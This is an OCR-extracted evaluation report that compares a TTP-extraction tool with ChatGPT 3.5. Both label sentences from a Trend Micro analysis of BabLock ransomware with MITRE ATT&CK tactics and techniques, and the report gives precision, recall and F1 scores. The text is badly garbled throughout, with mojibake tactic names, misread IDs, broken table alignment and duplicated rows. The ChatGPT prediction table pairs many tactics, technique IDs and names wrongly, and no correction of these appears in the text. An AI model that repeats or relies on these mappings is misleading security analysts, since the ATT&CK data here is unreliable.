Description

TTPExtrator vs. ChatGPT

1. The ChatGPT version is 3.5, the test date is 5/5/2023;

2. The test set consists of 5 Chinese reports and 5 English reports, and the final score is
obtained after reviewing the predicted results by security experts;

3. Since the technique name and TID cannot be correctly matched when use ChatGPT
predicts, it is considered correct if one of the TID or technique name is correct.

4. Index are used to mark prediction results. For example, the prediction result index list is
[0,1,2], and the expert review result is [0,2], which means that the results with index 0
and 2 are correct, and the result with index 1 are incorrect.

The Score

model ChatGPT TTPExtractor
precesion 0.2015 0.7241

recall 0.4927 0.5769

F1 score 0.2861 0.6422

The Prompt for ChatGPT
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Test Report 1 An Analysis of the BabLock Ransomware

URL: https://www.trendmicro.com/en_us/research/23/d/an-analysis-of-the-bablock-

ransomware.html

TTPExtractor Infer Result

password

Command Shell'}]

sent ttps entities ttps_pred_count | ttps_accept_idx
A malicious sideloaded DLL [{'taid": 'TAO003', 'tactic': 'persistence’, 'tid": | ['malware’, 1 [0]
(DarkLoader, a config.ini decryptor [ 'T1574.002', 'technique': 'DLLSide- 'DarkLoader"]
and ransomware injector) Loading'}]
A non-malicious executable used | [{'taid': 'TA0003', 'tactic': 'persistence’, 'tid": | [I 1 [0]
to load the malicious DLL 'T1574.002', 'technique': 'DLLSide-
Loading'}]
A CMD file to execute the non- [{'taid': 'TAO002', 'tactic': 'HI4T", 'tid": 0 1 (0]
malicious binary using the correct "T1059.003", 'technique': 'Windows




Once the DLL component is [{'taid": "'TAO007", 'tactic': 'discovery', 'tid": | [] [0]
loaded by the non-malicious 'T1083', 'technique:

executable, it will immediately 'FileandDirectoryDiscovery'}]

look for the config.ini file in the

current executable’s path.

Once this is found, the DLL [{'taid": 'TAO00O5', 'tactic': 'defense-evasion’, | ['malware’, [0]
decrypts config.ini and then 'tid": 'T1140', 'technique": ‘config.ini']]

executes notepad.exe with a 'DeobfuscateDecodeFilesorinformation'}]

certain set of command lines.

DarkLoader is executed via DLL [{'taid": 'TAO003', 'tactic': 'persistence’, 'tid": | ['malware’, [0]
sideloading using legitimate 'T1574.002', 'technique': 'DLLSide- 'DarkLoader"]

executables. Loading'}]

The config.ini file is decrypted by a | [{'taid": 'TA0005', 'tactic': 'defense-evasion’, | [] [0]
specially crafted loader designed | 'tid": 'T1140', 'technique":

specifically for these campaigns 'DeobfuscateDecodeFilesorinformation'}]

(detected as

Trojan.Win64.DarkLoader)

Any DarkLoader DLL can be used | [{'taid': 'TA0005', 'tactic': 'defense-evasion', | [['malware’, [0]
to decrypt any encrypted 'tid": 'T1140', 'technique": 'DarkLoader"]

ransomware config.ini, with no 'DeobfuscateDecodeFilesorinformation'}]

specific binary pairing needed.

The DarkLoader DLL uses Direct [{'taid": 'TA0O002', 'tactic': 'execution’, 'tid": [['malware’, [0]
SysCall APlIs to a select few, but 'T1106', 'technique': 'NativeAPI'}] 'DarkLoader"]

important, calls to avoid API

reading analysis.

The decrypted BabLock [{'taid": 'TA0005', 'tactic': 'BHEIkI&", 'tid": [['malware’, [0]
ransomware is always packed '‘BabLock']]

with VMProtect for anti- 'T1027.002', ‘technique’: "ER#F AN

virtualization.

The notepad.exe file is injected [{'taid": 'TAO00O5', 'tactic': 'defense-evasion’, | [] [0]
with an API call thread to 'tid": 'T1055', 'technique’:

RtITestBit, which has been 'Processlinjection'}]

patched/hooked to jump to the

malicious routine

The notepad.exe file is injected [{'taid": 'TAO0O5', 'tactic': 'defense-evasion’, | [] [0]
with an API call thread to 'tid": 'T1055', 'technique’:

RtiTestBit, which has been 'Processlnjection'}]

patched/hooked to jump to the

malicious routine

Throughout our initial encounter [{'taid": 'TAO00Q7', 'tactic': 'discovery', 'tid": [['malware’, [0]
with BabLock in June 2022, we 'T1083', 'technique': 'BablLock']]

searched for similar files and 'FileandDirectoryDiscovery'}]

found that the earliest record of

these files dated back to March

2022.

Finally, BabLock employs publicly | [{'taid': 'TA0042', 'tactic': 'resource- [['malware’, [0]
available tools as part of its development’, 'tid": 'T1588.002', 'BablLock']]

infection chain. 'technique': 'Tool'}]

Chisel - A transmission control [{'taid": 'TA0011", 'tactic': 'command-and- 1} [0]
protocol (TCP) and user datagram | control', 'tid": 'T1095', 'technique': 'Non-

protocol (UDP) tunnel ApplicationLayerProtocol'}]

By using these two tools — [{'taid": 'TAO00Q7', 'tactic': 'discovery', 'tid": 0 [0]

combined with BabLock/LockBit
possessing the capability to set
active directory (AD) Group
Policies for easier propagation —
it’s possible for a malicious actor
to navigate around a network
without much effor

'T1018', 'technique":
'RemoteSystemDiscovery'}]




However, unlike the DarkSide [{'taid': 'TA0040', 'tactic': 'impact’, 'tid": [['malware’, 1 [0]
ransomware, BabLock removes ‘T1490', 'technique': '‘BabLock']]
shadow copies by executing the 'InhibitSystemRecovery'}]
following command lines:
Therefore, we immediately ruled [{'taid": 'TA0002', 'tactic': 'execution’, 'tid": 0 1 [0]
this relationship out since it’s 'T1047', 'technique':
different to the way DarkSide does | 'WindowsManagementinstrumentation'}]
things, which is deleting shadow
copies through Windows
Management Instrumentation
(WMI) and PowerShell (which is
technically more sophisticated
and difficult to detect through
standard monitoring tools).
The ransomware binary decrypts | [{'taid': 'TAO005', 'tactic': 'defense-evasion', | [] 1 [0]
and executes the command line to | 'tid'": 'T1140', 'technique':
delete shadow copies. 'DeobfuscateDecodeFilesorinformation'}]
The ransomware binary decrypts | [{'taid': 'TAO005', 'tactic': 'defense-evasion', | [] 1 [0]
and executes the command line to | 'tid": 'T1140', 'technique':
delete shadow copies. 'DeobfuscateDecodeFilesorinformation'}]
What we do know is that the threat | [1taiq': 'TA0005', 'tactic': 'BAfEIUki2!, tid": [['malware’, 1 [0]
actor behind BabLock managed to "T1197", 'technique': 'bits'}] 'BablLock']]
take many of the base capabilities ’ que:
of LockBit v2.0 and added bits and
pieces of different ransomware
families to create their own unique
variant, which could possibly be
enhanced further in the future.
Expert Review Result
sent ttps entities ttps_pred_count | ttps_accept_idx
A malicious sideloaded DLL [{'taid": 'TAO003', 'tactic': 'persistence’, 'tid": | ['malware’, 1 [0]
(DarkLoader, a config.ini decryptor [ 'T1574.002', 'technique': 'DLLSide- 'DarkLoader"]
and ransomware injector) Loading'}]
A non-malicious executable used | [{'taid': 'TA0003', 'tactic': 'persistence’, 'tid": | [I 1 [0]
to load the malicious DLL 'T1574.002', 'technique': 'DLLSide-
Loading'}]
A CMD file to execute the non- [{'taid": 'TA0002', 'tactic': "H14T", 'tid": 1} 1 [0]
mallclouz binary using the correct 'T1059.003", 'technique': 'Windows
passwor Command Shell'}]
Once the DLL component is [{'taid": 'TAO00Q7', 'tactic': 'discovery', 'tid": 0 1 [0]
loaded by the non-malicious 'T1083', 'technique':
executable, it will immediately 'FileandDirectoryDiscovery'}]
look for the config.ini file in the
current executable’s path.
Once this is found, the DLL [{'taid": 'TAO00O5', 'tactic': 'defense-evasion’, | ['malware’, 1 [0]
decrypts config.ini and then 'tid": 'T1140', 'technique": ‘config.ini']]
executes notepad.exe with a 'DeobfuscateDecodeFilesorinformation'}]
certain set of command lines.
DarkLoader is executed via DLL [{'taid": 'TAO003', 'tactic': 'persistence’, 'tid": | ['malware’, 1 [0]
sideloading using legitimate 'T1574.002', 'technique': 'DLLSide- 'DarkLoader"]
executables. Loading'}]
The config.ini file is decrypted by a | [{'taid": 'TA0005', 'tactic': 'defense-evasion’, | [] 1 [0]

specially crafted loader designed
specifically for these campaigns
(detected as
Trojan.Win64.DarkLoader)

'tid": 'T1140', 'technique":
'DeobfuscateDecodeFilesorinformation'}]




Any DarkLoader DLL can be used | [{'taid': 'TA0005', 'tactic': 'defense-evasion', | [['malware’, 1 [0]
to decrypt any encrypted 'tid": 'T1140', 'technique": 'DarkLoader"]

ransomware config.ini, with no 'DeobfuscateDecodeFilesorinformation'}]

specific binary pairing needed.

The DarkLoader DLL uses Direct [{'taid": 'TA0002', 'tactic': 'execution’, 'tid": [['malware’, 1 [0]
SysCall APIs to a select few, but 'T1106', 'technique': 'NativeAPI'}] 'DarkLoader"]

important, calls to avoid API

reading analysis.

The decrypted BabLock [{'taid": 'TA0005', 'tactic': 'BHEIkI&", 'tid": [['malware’, 1 [0]
ransomware is always packed '‘BabLock']]

with VMProtect for anti- 'T1027.002", ‘technique': #4057 Y]

virtualization.

The notepad.exe file is injected [{'taid": 'TAO00O5', 'tactic': 'defense-evasion’, | [] 1 [0]
with an API call thread to 'tid": 'T1055', 'technique’:

RtiTestBit, which has been 'Processlnjection'}]

patched/hooked to jump to the

malicious routine

The notepad.exe file is injected [{'taid": 'TAO00O5', 'tactic': 'defense-evasion’, | [] 1 [0]
with an API call thread to 'tid": 'T1055', 'technique’:

RtITestBit, which has been 'Processlinjection'}]

patched/hooked to jump to the

malicious routine

Throughout our initial encounter [{'taid': 'TA0007', 'tactic': 'discovery', 'tid": [['malware’, 1 0
with BabLock in June 2022, we 'T1083', 'technique': 'BablLock']]

searched for similar files and 'FileandDirectoryDiscovery'}]

found that the earliest record of

these files dated back to March

2022.

Finally, BabLock employs publicly | [{'taid': "'TA0042', 'tactic': 'resource- [['malware’, 1 [0]
available tools as part of its development’, 'tid": 'T1588.002', 'BablLock']]

infection chain. 'technique': 'Tool'}]

Chisel - A transmission control [{'taid": 'TA0011', 'tactic': 'command-and- 0 1 [0]
protocol (TCP) and user datagram | control’, 'tid": 'T1095', 'technique': 'Non-

protocol (UDP) tunnel ApplicationLayerProtocol'}]

By using these two tools — [{'taid": 'TAO00Q7', 'tactic': 'discovery', 'tid": 0 1 [0]
combined with BabLock/LockBit | 'T1018', 'technique':

possessing the capability to set '‘RemoteSystemDiscovery'}]

active directory (AD) Group

Policies for easier propagation —

it’s possible for a malicious actor

to navigate around a network

without much effor

However, unlike the DarkSide [{'taid': 'TA0040', 'tactic': 'impact', 'tid": [['malware’, 1 [0]
ransomware, BabLock removes "T1490', 'technique': 'BablLock']]

shadow copies by executing the 'InhibitSystemRecovery'}]

following command lines:

Therefore, we immediately ruled [{'taid": 'TA0O002', 'tactic': 'execution’, 'tid": 0 1 [0]
this relationship out since it’s 'T1047', 'technique":

different to the way DarkSide does | 'WindowsManagementinstrumentation'}]

things, which is deleting shadow

copies through Windows

Management Instrumentation

(WMI) and PowerShell (which is

technically more sophisticated

and difficult to detect through

standard monitoring tools).

The ransomware binary decrypts | [{'taid': 'TAO005', 'tactic': 'defense-evasion', | [] 1 [0]

and executes the command line to
delete shadow copies.

'tid": 'T1140', 'technique":
'DeobfuscateDecodeFilesorinformation'}]




The ransomware binary decrypts | [{'taid": 'TAO005', 'tactic': 'defense-evasion’, | [] 1 [0]
and executes the command line to | 'tid": 'T1140', 'technique":
delete shadow copies. 'DeobfuscateDecodeFilesorinformation'}]
What we do know is that the threat | [1taiq': 'TA0005', 'tactic': 'BAfEI k2!, tid": [['malware’, 1 1
actor behind BabLock managed to "T1197", 'technique': 'bits'}] '‘BabLock']]
take many of the base capabilities ’ ’
of LockBit v2.0 and added bits and
pieces of different ransomware
families to create their own unique
variant, which could possibly be
enhanced further in the future.
ChatGPT Infer Result
text tts ttps_pred_count | ttps_accept_idx
A ransomware called BabLock (aka Rorschach) has 0 0 0
recently been making waves due to its sophisticated
and fast-moving attack chain that uses subtle yet
effective techniques.
Although primarily based on LockBit, the ransomware | [{'taid": 'TA0012’, 'tactic': 'Defense 2 [0, 1]
is a hodgepodge of other different ransomware parts | Evasion’, 'tid": 'T1583', 'technique':
pieced together into what we now call BabLock ‘Timestomping'}, {'taid": 'TA0009',
(detected as Ransom.Win64.LOCKBIT.THGOGBB.enc). | 'tactic': 'Execution’, 'tid": "',
'technique': 'Command-Line
Interface'}]
Note, however, that we do not believe that this 1} 0 1}
ransomware originates from the threat actors behind
LockBit, which is now in its third iteration.
In this blog entry, we look at its attack chain in detail 0 0 0
and examine its likely origins.
In June 2022, we discovered a ransomware (which [{'taid": 'TA0010', 'tactic': 'Persistence’, | 3 [0,1,2]
turned out to be BabLock) using what appeared to be | 'tid": 'T1564', 'technique': 'Hide
a unique style of appending extensions, where instead | Artifacts: Hidden File System'}, {'taid":
of the normal “one sample, one extension” method "TA0006', 'tactic': 'Defense Evasion’,
commonly used in ransomware attacks, we discovered | 'tid": 'T1027', 'technique': 'Obfuscated
that the attackers were appending numerical Files or Information'}, {'taid': "TAO006',
increments from 00-99 on top of the fixed ransomware | 'tactic': 'Defense Evasion', 'tid":
extension for this specific infection. ‘T1070', 'technique': 'Indicator
Removal on Host: File Deletion'}]
As a result, even on a single infected machine, there [{'taid": 'TAO003', 'tactic': 'Persistence’, | 1 [0]
could be multiple extension variations from a single 'tid": 'T1486', 'technique': 'Data
execution. Encrypted'}]
Our investigation found that the ransomware was [{'taid": 'TA0002', 'tactic': 'Initial 2 [0, 1]
always deployed as a multi-component package Access', 'tid": 'T1027.002', 'technique':
consisting mostly of the following files: 'Software Packing'}, {'taid': "'TA0002',
'tactic': 'Initial Access', 'tid":
'T1566.002', 'technique': 'Phishing:
Spearphishing Attachment'}]
The encrypted ransomware file, config.ini [{'taid": 'TA0010', 'tactic': 'Persistence’, | 3 [0,1,2]
A malicious sideloaded DLL (DarkLoader, a config.ini 'tid": 'T1564', 'technique': 'Hide
decryptor and ransomware injector) Artifacts: Hidden File System'}, {'taid":
A non-malicious executable used to load the malicious | 'TA0005', 'tactic': 'Privilege
DLL Escalation', 'tid": 'T1574', 'technique':
A CMD file to execute the non-malicious binary using | 'Hijack Execution Flow'}, {'taid":
the correct password 'TA0007', 'tactic': 'Credential Access',
'tid": 'T1008', 'technique': 'OS
Credential Dumping'}]
The DarkLoader DLL will check for specific [{'taid": 'TA0002', 'tactic': 'Initial 2 [0, 1]

commands, particularly --run, which checks for the
correct 4-digit password needed to start the
encryption process.

Access', 'tid": 'T1566.001', 'technique':
'Phishing: Spearphishing Link'}, {'taid":
'TA0002', 'tactic': 'Initial Access', 'tid":
'T1036', 'technique': 'Masquerading'}]




Figure 3. If the correct passcode is added to the [{'taid": 'TA0012', 'tactic': 'Defense [0]
command line, the ransomware will proceed with the | Evasion', 'tid": 'T1202', 'technique':
whole encryption process 'Indirect Command Execution'}]
Once the DLL component is loaded by the non- [{'taid": 'TAO009', 'tactic': 'Execution’, [0,1,2]
malicious executable, it will immediately look for the 'tid": 'T1059.0083", 'technique':
config.ini file in the current executable’s path. 'Scheduled Task/Job: Scheduled

Task'}, {'taid": 'TA0009', 'tactic':

'Execution’, 'tid": 'T1035.003',

'technique': 'Service Execution:

Service Registry Permissions

Weakness'}, {'taid': 'TA0009', 'tactic":

'Execution’, 'tid': 'T1546.015',

'technique': '‘Component Object Model

Hijacking'}]
Once this is found, the DLL decrypts config.ini and [{'taid": 'TAO009', 'tactic': 'Execution’, [0, 1]
then executes notepad.exe with a certain set of 'tid": 'T1055', 'technique': 'Process
command lines. Injection'}, {'taid': 'TAO006', 'tactic":

'Defense Evasion', 'tid': 'T1027",

'technique': 'Obfuscated Files or

Information'}]
For this particular campaign, we found a few notable [{'taid": 'TA0002', 'tactic': 'Initial [0]
and consistent patterns: Access', 'tid": "', 'technique':

'Deceptive Domain Name System

(DNS) Infrastructure'}]
The main ransomware binary is usually delivered as an | [{'taid': 'TA0002', 'tactic': 'Initial [0,1,2]
encrypted config.ini file. Access', 'tid": 'T1566.001', 'technique':

'Phishing: Spearphishing Link'}, {'taid":

'TA0002', 'tactic': 'Initial Access', 'tid":

'T1036', 'technique': 'Masquerading'},

{'taid': 'TA0010', 'tactic': 'Persistence’,

'tid": 'T1564', 'technique': 'Hide

Artifacts'}]
DarkLoader is executed via DLL sideloading using [{'taid": 'TAO003', 'tactic': 'Persistence’, [0, 1]
legitimate executables. 'tid": 'T1547.001", 'technique': 'Boot or

Logon Autostart Execution: Registry

Run Keys / Startup Folder'}, {'taid":

'TA0006', 'tactic': 'Defense Evasion',

'tid": 'T1218.011", 'technique': 'Signed

Binary Proxy Execution: Compiled

HTML File'}]
The config.ini file is decrypted by a specially crafted [{'taid": 'TA0002', 'tactic': 'Initial [0, 1]
loader designed specifically for these campaigns Access', 'tid": 'T1574.002', 'technique':
(detected as Trojan.Win64.DarkLoader) 'DLL Search Order Hijacking'}, {'taid':

'TA0002', 'tactic': 'Initial Access', 'tid":

'T1027.002', 'technique': 'Software

Packing'}]
BabLock appends a random number from 00 to 99 to [{'taid": 'TAO003', 'tactic': 'Persistence’, [0]
the extension string per file within the same infected 'tid": 'T1486', 'technique': 'Data
machine (for example, extn00-extn99 as extensions in | Encrypted'}]
the same infection).
Any DarkLoader DLL can be used to decrypt any [{'taid": 'TAO0O0O6', 'tactic': 'Defense [0]
encrypted ransomware config.ini, with no specific Evasion', 'tid": 'T1027', 'technique':
binary pairing needed. 'Obfuscated Files or Information'}]
The DarkLoader DLL uses Direct SysCall APIs to a [{'taid": 'TAO0O0O6', 'tactic': 'Defense [0]
select few, but important, calls to avoid API reading Evasion', 'tid": "', 'technique":
analysis. 'Disabling Security Tools'}]
The decrypted BabLock ransomware is always packed | [{'taid': 'TA0006', 'tactic': 'Defense [0]
with VMProtect for anti-virtualization. Evasion', 'tid": 'T1497', 'technique':

'Virtualization/Sandbox Evasion'}]
BabLock is loaded via the threat injection of a hooked | [{'taid': "'TA0009', 'tactic': 'Execution’, [0, 1]

API NtdIl.RtITestBit to jump to memory containing the
ransomware code.

'tid": 'T1055.012", 'technique': 'Process
Injection: Dynamic-link Library




Injection'}, {'taid': 'TA0009', 'tactic":
'Execution’, 'tid": ', 'technique': 'API
Hooking'}]

There have been a few variations of the passcode for - | [{'taid': 'TA0012', 'tactic': 'Defense 1 [0]
-run across different attacks, but all of them are still Evasion', 'tid": 'T1024', 'technique':
within a certain range of each other. 'Custom Cryptographic Protocol'}]
Figure 4. The command line argument supplied to [{'taid": 'TAO009', 'tactic': 'Execution', |1 [0]
notepad.exe to load and execute the ransomware on 'tid": ", 'technique': 'Command and
recent attacks. Scripting Interpreter: Windows
Command Shell'}]
Figure 5. DLL using several direct SysCall instructions | [{'taid': 'TA0006', 'tactic': 'Defense 1 [0]
to avoid API reading techniques Evasion', 'tid": "', 'technique":
'Disabling Security Tools: Direct
System Calls'}]
Figure 6. The notepad.exe file is injected with an API [{'taid": 'TAO009', 'tactic': 'Execution’, |2 [0, 1]
call thread to RtITestBit, which has been 'tid": 'T1055.001", 'technique': 'Process
patched/hooked to jump to the malicious routine Injection: Dynamic-link Library
Injection'}, {'taid': 'TA0009', 'tactic":
'Execution’, 'tid": ', 'technique': 'API
Hooking'}]
Throughout our initial encounter with BabLock in June | [{'taid': "'TA0002', 'tactic': 'Initial 3 [0,1,2]
2022, we searched for similar files and found that the Access', 'tid": 'T1590', 'technique':
earliest record of these files dated back to March 'Conduct Active Scanning'}, {'taid":
2022, After discovering this, we wanted to find out how | 'TA0020', 'tactic': 'Exfiltration’, 'tid":
it managed to stay under the radar for so long. "T1020", 'technique': 'Automated
Exfiltration'}, {'taid': 'TA0020', 'tactic':
'Exfiltration’, 'tid": 'T1020.002',
'technique': 'Exfiltration Over SSL'}]
Since June 2022, there have only been a handful of [{'taid": 'TA0040', 'tactic': 'Impact’, 1 [0]
recorded incidents involving the ransomware, 'tid": 'T1444', 'technique': 'Data
including the most recent one. Due to a low number Encrypted for Impact'}]
count, no notable statistics involving region, industry,
or victim profile have stood out as of the time of
writing.
Figure 7. Distribution of incidents involving the [{'taid": 'TA0040', 'tactic': 'Impact’, 1 [0]
BabLock ransomware 'tid": ', 'technique': 'Data Destruction:
Wiper Malware'}]
However, due to its notable features and [{'taid": 'TA0040', 'tactic': 'Impact’, 2 [0, 1]
characteristics, attacks related to BabLock can be 'tid": 'T1566.001', 'technique':
easily identified. As we’ve already mentioned, after 'Phishing: Spearphishing Link'}, {'taid":
every file encryption, the ransomware appends a ‘TA0040', 'tactic': 'Impact’, 'tid":
random number string between 00-99 to its hardcoded | 'T1486', 'technique': 'Data Encrypted'}]
extension. This results in up to 100 different variations
of the same ransomware extension.
Figure 8. Code snippet showing a random number [{'taid": 'TA0040', 'tactic': 'Impact’, 1 [0]
string between 00-99 being appended to encrypted 'tid": 'T1486', 'technique': 'Data
files Encrypted'}]
It also has a fairly sophisticated execution routine: [{'taid": 'TAO009', 'tactic': 'Execution', |1 [0]
'tid": 'T1070', 'technique': 'Indicator
Removal on Host: File Deletion'}]
It uses a specific number code to execute properly. [{'taid": 'TAO009', 'tactic': 'Execution', |1 [0]
'tid": 'T1527.001", 'technique':
'Application Access Token: Windows
Tokens'}]
It splits the package into multiple components. [{'taid": 'TAO00O6', 'tactic': 'Defense 1 [0]
Evasion', 'tid": 'T1027', 'technique':
'Obfuscated Files or Information'}]
It separates and hides the actual payload into an [{'taid": 'TA0040', 'tactic': 'Impact’, 1 [0]

encrypted file.

'tid": 'T1486', 'technique': 'Data
Encrypted'}]




It uses normal applications as loaders [{'taid": 'TAO003', 'tactic': 'Persistence’, | 1 [0]
'tid": 'T1047', 'technique': 'Windows
Management Instrumentation Event
Subscription'}]
Finally, BabLock employs publicly available tools as [{'taid": 'TA0040', 'tactic': 'Impact’, 3 [0,1,2]
part of its infection chain. We found that the most used | 'tid": 'T1497.001", 'technique': 'Ingress
tools were the following: Tool Transfer'}, {'taid": 'TA0002',
Chisel - A transmission control protocol (TCP) and ‘tactic': 'Initial Access', 'tid": 'T1133/,
user datagram protocol (UDP) tunnel 'technique': 'External Remote
Fscan - A scanning tool Services'}, {'taid": 'TA0006', 'tactic":
By using these two tools — combined with ‘Defense Evasion', 'tid": 'T1090',
BabLock/LockBit possessing the capability to set ‘technique': 'Proxy'}]
active directory (AD) Group Policies for easier
propagation — it’s possible for a malicious actor to
navigate around a network without much effort
Comparing and contrasting BabLock to LockBit and [{'taid": 'TA0040', 'tactic': 'Impact’, 2 [0, 1]
other ransomware 'tid": 'T1486', 'technique': 'Data
From our investigation, most of the routines used by Encrypted'}, {'taid': 'TA0040', 'tactic":
BabLock are more closely related to Lockbit (2.0) than [ 'Impact’, 'tid": 'T1490', 'technique':
any other ransomware. Other researchers also 'Inhibit System Recovery'}]
mention similarities to ransomware such as Babuk,
Yanluowang and others.
Figure 9. The ransomware binary decrypts and [{'taid": 'TA0040', 'tactic': 'Impact’, 1 [0]
executes the command line to delete shadow copies. | 'tid": 'T1490', 'technique': 'Inhibit
System Recovery'}]
One of its common characteristics to Lockbit (2.0) [{'taid": 'TA0002', 'tactic': 'Initial 4 [0,1,2,3]
would be the use of the same group policy to generate | Access', 'tid": 'T1133', 'technique':
a desktop drop path. Similarly, the use of vssadmin for | 'External Remote Services'}, {'taid":
deleting shadow copies is also a routine heavily used | 'TA0040', 'tactic’: 'Impact’, 'tid":
in LockBit attacks (albeit also a common routine for ‘T1486', 'technique': 'Data Encrypted'},
many modern ransomware). Still, the resemblance is | {'taid: 'TA0040', 'tactic': 'Impact’, 'tid":
uncanny. Furthermore, it is running the same ‘T1490', 'technique': 'Inhibit System
commands to execute GPUpdate for the AD. Due to Recovery'}, {'taid': "'TAO00E', 'tactic':
this, our detection for this ransomware is still under 'Defense Evasion', 'tid": "T1518.001",
the LockBit family. 'technique': 'Security Software
Discovery'}]
Figure 10. Comparing BabLock’s group policy for [{'taid": 'TA0040', 'tactic': 'Impact’, 1 [0]
generating the desktop drop path (left) with that of 'tid": 'T1027", 'technique': 'Obfuscated
LockBit (right) Files or Information'}]
Figure 10. Comparing BabLock’s group policy for
generating the desktop drop path (left) with that of
LockBit (right)
Figure 10. Comparing BabLock’s group policy for
generating the desktop drop path (left) with that of
LockBit (right)
From what we can tell, BabLock looks like a [{'taid": 'TA0040', 'tactic': 'Impact’, 1 [0]
Frankenstein-like creation that is stitched together 'tid": "'T1027', 'technique': 'Obfuscated
from different known ransomware families. Files or Information'}]
Figure 11. Similarities between BabLock and other [{'taid": 'TA0040', 'tactic': 'Impact’, 1 [0]
ransomware families 'tid": 'T1027', 'technique': 'Obfuscated
Files or Information'}]
Our first encounter with BabLock almost coincided [{'taid": 'TA0002', 'tactic': 'Initial 2 [0, 1]
with the release of Lockbit v3.0. However, since most | Access', 'tid": 'T1133', 'technique':
of its structure still resembles Lockbit v2.0, we surmise | 'External Remote Services'}, {'taid":
that this may be from another affiliate or group. With | 'TA0040', 'tactic": 'Impact’, 'tid":
nearly a year since the release of LockBit v3.0, we ‘T1027', 'technique': 'Obfuscated Files
have found no changes to the payload of the BabLock | or Information'}]
even with recent attacks, further solidifying our stance
that they are neither connected nor closely affiliated
with the actual LockBit group.
What we do know is that the threat actor behind [{'taid": 'TA0002', 'tactic': 'Initial 2 [0, 1]

BabLock managed to take many of the base
capabilities of LockBit v2.0 and added bits and pieces

Access', 'tid": 'T1133', 'technique':
'External Remote Services'}, {'taid":




of different ransomware families to create their own
unique variant, which could possibly be enhanced
further in the future.

'TA0040', 'tactic': 'Impact’, 'tid":
'T1027', 'technique': 'Obfuscated Files
or Information'}]

Organizations can implement security frameworks to
safeguard their systems from similar attacks, which
systematically allocate resources to establish a robust
defense strategy against ransomware.

[{'taid": 'TAO004', 'tactic': 'Security
Orchestration’, 'tid": "', 'technique':
'Security Assessment'}, {'taid":
'TA0040', 'tactic': 'Impact’, 'tid": "',
'technique': 'Data Encrypted'}]

[0, 1]

Taking an inventory of assets and data

[{'taid": 'TAO004', 'tactic': 'Security
Orchestration’, 'tid": "', 'technique':
'Asset Management'}]

U]

Identifying authorized and unauthorized devices and
software

[{'taid": 'TAO004', 'tactic': 'Security
Orchestration’, 'tid": "', 'technique':
'Network Device and Account
Enumeration'}]

U]

Auditing event and incident logs

[{'taid": 'TA0003', 'tactic': 'Discovery’,
'tid": "', 'technique': 'Security
Information and Event Management'}]

U]

Managing hardware and software configurations

[{'taid": 'TAO004', 'tactic': 'Security
Orchestration’, 'tid": "', 'technique':
'Security Configuration Management'}]

U]

Granting admin privileges and access only when
necessary to an employee’s role

[{'taid": 'TA00Q7', 'tactic': 'Credential
Access', 'tid": 'T1087', 'technique':
'Account Discovery'}]

-

U]

Monitoring network ports, protocols, and services

[{'taid": 'TAO004', 'tactic': 'Security
Orchestration’, 'tid": "', 'technique':
'Network Segmentation'}, {'taid":
'TA0001', 'tactic': 'Initial Access', 'tid":
'T11383', 'technique': 'External Remote
Services'}]

[0, 1]

Establishing a software allowlist that only executes
legitimate applications

[{'taid": 'TAO004', 'tactic': 'Security
Orchestration’, 'tid": "', 'technique':
'Application Control'}]

U]

Implementing data protection, backup, and recovery
measures

[{'taid": 'TA0040', 'tactic': 'Impact’,
'tid": 'T1487', 'technique': 'Data
Backup'}]

U]

Enabling multifactor authentication (MFA)

[{'taid": 'TA00Q7', 'tactic': 'Credential
Access', 'tid": "', 'technique': 'Two-
Factor Authentication'}]

-

U]

Deploying the latest versions of security solutions to
all layers of the system, including email, endpoint,
web, and network

[{'taid": 'TA0003', 'tactic': 'Discovery’,
'tid": "', 'technique': 'Security
Information and Event Management'},
{'taid': 'TA0004', 'tactic': 'Security
Orchestration’, 'tid": "', 'technique':
'Software Updating and Patching'},
{'taid': 'TA0004', 'tactic': 'Security
Orchestration’, 'tid": "', 'technique':
'Endpoint Protection'}, {'taid":
'TA0004', 'tactic': 'Security
Orchestration’, 'tid": "', 'technique':
'Network Segmentation'}, {'taid":
'TA0008', 'tactic': 'Impact’, 'tid": "',
'technique': 'Computer and Network
Defense-in-Depth'}]

[0,1,2,3,4]

Watching out for early signs of an attack such as the
presence of suspicious tools in the system

[{'taid": 'TA0002', 'tactic': 'Initial
Access', 'tid": 'T1518', 'technique':
'Software Discovery'}, {'taid': 'TA0002',
'tactic': 'Initial Access', 'tid': 'T1087",
'technique': 'Account Discovery'},
{'taid': 'TA0002', 'tactic': 'Initial
Access', 'tid": 'T1133', 'technique':
'External Remote Services'}, {'taid":

[0,1,2,3,4]




'TA0003', 'tactic': 'Discovery', 'tid": ',
'technique': 'Security Information and
Event Management'}, {'taid": 'TA0006',
'tactic': 'Defense Evasion', 'tid": ",
'technique': 'Entrypoint Obscurity'}]

Implementing a multi-faceted approach can aid [{'taid": 'TAO008', 'tactic': 'Impact’, 1 [0]
organizations in securing potential entry points into 'tid": ', 'technique': 'Computer and
their systems such as endpoint, email, web, and Network Defense-in-Depth'}]
network. With the help of security solutions that can
identify malevolent elements and questionable
activities, enterprises can be safeguarded from
ransomware attacks.
Trend Micro Vision One™provides multilayered [{'taid": 'TAO008', 'tactic': 'Impact’, 3 [0,1,2]
protection and behavior detection, which helps block | 'tid": ", 'technique': '‘Computer and
questionable behavior and tools before the Network Defense-in-Depth'}, {'taid":
ransomware can do any damage. 'TA0003', 'tactic': 'Discovery', 'tid": ',
'technique': 'Security Information and
Event Management'}, {'taid": 'TA0006',
'tactic': 'Defense Evasion', 'tid": ",
'technique': 'Anti-virus Software'}]
Trend Micro Cloud One™ - Workload Securityprotects | [{'taid': 'TA0008', 'tactic': 'Impact’, 3 [0,1,2]
systems against both known and unknown threats that | 'tid": "', 'technique': '‘Computer and
exploit vulnerabilities. This protection is made possible | Network Defense-in-Depth'}, {'taid":
through techniques such as virtual patching and ‘TA0004', 'tactic': 'Security
machine learning. Orchestration’, 'tid": ', 'technique':
'Software Updating and Patching'},
{'taid': 'TA0006', 'tactic': 'Defense
Evasion', 'tid": "', 'technique': 'Host-
based Intrusion Prevention Systems'}]
Trend Micro™ Deep Discovery™ Email [{'taid": 'TAO00Q7', 'tactic': 'Credential 3 [0,1,2]
Inspectoremploys custom sandboxing and advanced Access', 'tid": 'T1566', 'technique':
analysis techniques to effectively block malicious 'Phishing'}, {'taid": 'TA0002', 'tactic':
emails, including phishing emails that can serve as 'Initial Access', 'tid": 'T1598.002',
entry points for ransomware. 'technique': 'Spearphishing
Attachment'}, {'taid": 'TA0008', 'tactic":
'Impact’, 'tid": ', 'technique":
'Computer and Network Defense-in-
Depth'}]
